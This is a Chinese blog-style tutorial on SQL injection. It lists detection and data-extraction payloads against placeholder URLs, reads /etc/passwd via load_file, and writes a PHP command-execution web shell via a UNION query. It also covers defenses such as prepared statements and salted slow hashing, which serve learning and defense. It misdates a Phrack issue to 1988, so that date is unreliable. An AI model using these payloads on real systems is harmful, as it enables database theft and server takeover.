【安全测试】sql注入
SQL注入攻击是黑客对 数据库 进行攻击的常用手段之一,随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员越来越多,但是由于程序员水平及经验页参差不齐,相当大部分程序员在编写代码的时候没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的WEB页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相仿灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。
一般出现在web或者任何有输入框的地方。
1988年《Phrack》第54期一篇文章“NT Web Technology Vulnerabilities”第一次提到SQL注入
注入的本质:把用户输入的数据当作代码执行
SQL 注入(SQL Injection):就是通过将恶意的SQL指令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL指令。
一、SQL注入的危害
非法读取 篡改 添加 删除数据库中的数据(脱裤)
盗取用户各类敏感信息,获取利益
私自添加删除账号
上传木马后门
二、sql注入类型
按有无错误回显信息来分类
1.有回显注入
会将数据库内的错误点暴露出来
2.盲注 SQL Injection(Blind)
内建报错信息可以帮助开发人员发现和修复问题
内建报错信息有大量关于系统的信息
不显示数据库内建的报错信息,使用通用的报错信息
三、SQL注入的方法
1、自动进行SQL注入神器——sqlmap
2、手工注入
eg. 可以对某些普通网址进行检测 也可以 直接 到 DVWA 网站进行检测
①判断是否有注入点
a.基于报错的检测
如果原先输入框的 sql 语句是
select username,password from user where username = '%s'
这时候我们在这个sql语句后面加上1' ,这时候的单引号不能完美闭合,会出现报错,此处如果报错必有注入点
并且通过报错信息出来的字段如果是查询出来Firstname , Surname 可以知道可能这句sql语句是
select Firstname,Surname from user where id = '
b.基于布尔的检测
如果原先输入框的 sql 语句是
select Firstname,Surname from user where id = '
这时候我们在sql语句后面加上 1' and 1 = 1' 则执行正确
这时候我们在sql语句后面加上 1' and 0 = 1' 则执行错误
说明当前有注入点
c.基于时间的检测
1' and sleep (5) and 'abcd' = 'abcd'
如果当前发现用了sleep之后 请求响应时间有变长,说明当前有注入点
d.基于UNION联合查询的检测
'union select 1,2 --
'union select user(),database() --
在数据库中的user(),database()表示的是可以查出表和数据库,用这两个就可以查出当前的数据库和表的名字等
--在sql中表示为注释
e.基于堆叠查询的检测
在SQL中 分号(;)表示一条sql语句的结束
Mysql的mysql_query()函数 不允许查询堆叠或一个函数调用执行多个查询
局限性在于并不是每一个环境下都可以执行,可能受到API或数据库引擎不支持的限制
②有注入点,查询数据
可以用mysql内有的内置库 information_schema.tables查找所有的表,加上count(*)输入数据库语句,可以查找出当前有多少数据库,有多少表,根据当前的表去查看表里面的字段和列,然后可以直接读取到表里面的数据
猜测:
也可以用一些常用的表名来进行猜测,
a.猜表名:http://www.xxx.com/product.asp?id=12 exists(select * from 表名) 这里表名可以是我们常见的一些,比如user、admin、manage_user、login_user等等。这个需要自己多留意,多总结,看看常见的数据库关于存储用户名和密码的表都有哪些,
b.猜字段: 如果 步骤a 中的页面显示结果为正常,那说明我们数据库中存在我们刚才猜解得表名,接下来就是http://www.xxx.com/product.asp?id=12 exists(select username,password from 表名),这里username和password是最常见的字段名,也可以是name,pwd,当然可能也真有比较奇葩的DBA按照这样的方式来创建字段,xingming、yonghuming、mima、kouling等
c.猜字段数 :如果 步骤b 中页面显示正常,证明我们猜测的字段是存在的,接下来就是通过默认排序猜测字段数。http://www.xxx.com/product.asp?id=12 order by 10 查看返回页面是否正常,如果不正常可以采用“二分法”改成5继续测试,只到页面正常(不知道“二分法”的可以自行度娘)。比如测试为5时显示正常,那么进行步骤d.
d.联合查询:http://www.xxx.com/product.asp?id=12 union select 1,2,3,4,5 from 表名 ,查看页面回显的数值。
e.显位和占位:接下来,就是将2和3替换成username和password, http://www.xxx.com/product.asp?id=12 union select 1,username,password,4,5 from 表名,将字段内容回显出来。
除了查询数据库中的数据之外 还可以读取文件
如读取/etc/passwd
union select null,load_file('/etc/passwd') --
写文件:‘union select null,“<?php passthru($_GET['cmd']);?>" INFO DUMPFILE “/tmp/a.php"--
这属于是一句话木马,就可以把我 自己新建的一个文件写入某一个目录下。
知道表名,数据等 就可以删库跑路....
此处注意,脱库 超过3条数据就是违法行为!!
四、sql注入的防御
1.使用sql语句预编译和绑定变量
①采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setString方法传值即可:
String sql= "select * from users where username=? and password=?;
PreparedStatement preState = conn.prepareStatement(sql);
preState.setString(1, userName);
preState.setString(2, password);
ResultSet rs = preState.executeQuery();
2.严格检查参数类型及过滤(正则式过滤)
①采用正则表达式将包含有 单引号('),分号(;) 和 注释符号(--)的语句给替换掉来防止SQL注入
public static String TransactSQLInjection(String str)
{
return str.replaceAll(".*([';]+|(--)+).*", " ");
// 我认为 应该是return str.replaceAll("([';])+|(--)+","");
}
userName=TransactSQLInjection(userName);
password=TransactSQLInjection(password);
Statement sta = conn.createStatement();
ResultSet rs = sta.executeQuery(sql);
其他一些防御
密码等敏感信息加密存储
数据库用户读写分离
运行mysql系统账户要降低权限(像docker、angix所使用的sql系统账户都是权限比较低的比如只有读的权限等)
密码加盐存储
密码可能存在的问题:
撞库
(常常出现于 有的人所有的网站用的都是同一个密码,我破解了一个网站的密码 就可以知道其它的网站的账号密码)
密码破解(查表法、反向查表法、彩虹法、暴力破解---已经脱库了根据表内的密码进行穷举查表)
加盐哈希
(因为md5加密有大量重复的加密值,只要知道加密值就可以反向对密码加入随机码,所以才去加盐哈希,一个密码+盐值再进行哈希之后存在数据库中的是哈希值和盐值,用户输入密码加上数据库中的盐值然后与数据库中的哈希值比较,如果相同则通过验证)
慢速哈希(让哈希的响应速度变慢,这样大量耗费破解时间,让破解成本大于破解后的成本)
不过千万不要干违法的事情!千万不要干违法的事情!千万不要干违法的事情!重要的事情说三遍!
【安全测试】sql注入的更多相关文章
- 【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入
前言 通过Python脚本把Burp的HTTP请求提取出来交给SQLMap批量测试,提升找大门户网站SQL注入点的效率. 导出Burp的请求包 配置到Burp的代理后浏览门户站点,Burp会将URL纪 ...
- web安全测试--sql注入攻击
先要自行了解sql的几个概念: 1. or '1'='1' 2. order by 3. union : 联合查询需要表字段相同 sql注入攻击漏洞判断步骤: 1.‘ 2.查看数据库信息 3.绕过过 ...
- PHP:测试SQL注入以及防止SQL注入
在写登录注册的时候发现了SQL和JS注入这个危害网站的用户举动: 测试方法: SQL注入: 先来做一个测试: 用户名:’ or 1 # 密码:随便写8位以上 验证码:写正确 好吧,就那么简单就进去了: ...
- 安全测试 - SQL注入
1. 工具测试: 使用SQLMAP进行扫描 2. 手工测试: 观察参数的值value是否为数字型.如果是数字型进行数字型测试,否则跳到第4步进行字符型测试(例如如果出现a那说明是字符型,如果出现2则将 ...
- sqlmap开源 测试sql注入的工具 各种参考链接
https://www.cnblogs.com/insane-Mr-Li/p/10150165.html https://github.com/sqlmapproject/sqlmap 官网 http ...
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- Java程序员从笨鸟到菜鸟之(一百零一)sql注入攻击详解(二)sql注入过程详解
在上篇博客中我们分析了sql注入的原理,今天我们就来看一下sql注入的整体过程,也就是说如何进行sql注入,由于本人数据库和网络方面知识有限,此文章是对网上大量同类文章的分析与总结,其中有不少直接引用 ...
- 通过 HTTP 头进行 SQL 注入
在漏洞评估和渗透测试中,确定目标应用程序的输入向量是第一步.有时,当做web应用程序测试时,SQL注入漏洞的测试用例通常局限于特殊的输入向量GET和POST变量.那么对于其他的HTTP头部参数呢?难道 ...
- SQL注入攻击
SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候, ...
- 初识SQL注入
什么是SQL注入(SQL Injection)? SQL注入是网站攻击途径之一,这里引用一下百度百科的解释:“所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串, ...
随机推荐
- 「美团 CodeM 初赛 Round A」最长树链
题目描述 Mr. Walker 最近在研究树,尤其是最长树链问题.现在树中的每个点都有一个值,他想在树中找出最长的链,使得这条链上对应点的值的最大公约数不等于1.请求出这条最长的树链的长度. 输入格式 ...
- uoj#450. 【集训队作业2018】复读机(单位根反演)
题面 传送门 题解 我的生成函数和单位根反演的芝士都一塌糊涂啊-- \(d=1\),答案就是\(k^n\)(因为这里\(k\)个复读机互不相同,就是说有标号) \(d=2\),我们考虑复读机的生成函数 ...
- From表单提交刷新页面?
form表单提交跳转 写作原因: 楼主的html水平一般,偶然想起周围人常说的form表单提交会刷新页面,闲来无事,就想想其中的原因 想来想去为什么会刷新,猜想了以下几条 1.先提交数据,等服务器 ...
- [ZJOI2009]狼和羊的故事 BZOJ1412
题目描述 “狼爱上羊啊爱的疯狂,谁让他们真爱了一场:狼爱上羊啊并不荒唐,他们说有爱就有方向......” Orez听到这首歌,心想:狼和羊如此和谐,为什么不尝试羊狼合养呢?说干就干! Orez的羊狼圈 ...
- springcloud系列八 整合Hystrix
feign本身是支持Hystrix的,所以不需要引入其他依赖: 我们可以看看feign这个项目的依赖,就是引入这个依赖的pom.xml 要想看这个很简单,点击那个依赖进去就可以了 点进去就可以看到 & ...
- Python自动化开发学习20-Django的form组件
武沛齐老师的Django的FORM组件:http://www.cnblogs.com/wupeiqi/articles/6144178.html 转自:http://blog.51cto.com/st ...
- maven 过滤webapp下的文件
<plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-war-p ...
- 读经典——《CLR via C#》(Jeffrey Richter著) 笔记_命名空间和程序集的关系
命名空间和程序集不一定相关 1. 同一个命名空间中的各个类型可能是在不同的程序集中实现的.(System.IO.FileStream在MSCorLib.dll程序集中,而System.IO.FileS ...
- POJ 3686 *最小费用流-转化成普通指派问题)
题意] 有N个订单和M个机器,给出第i个订单在第j个机器完成的时间Mij,每台机器同一时刻只能处理一个订单,机器必须完整地完成一个订单后才能接着完成下一个订单.问N个订单完成时间的平均值最少为多少. ...
- 匿名类与lambda区别
第一种是继承Thread, 重写了Thread.run() getClass()返回的是匿名类 java.long.Thread$1 第二种是lambda, 重写了Runnable.run() ...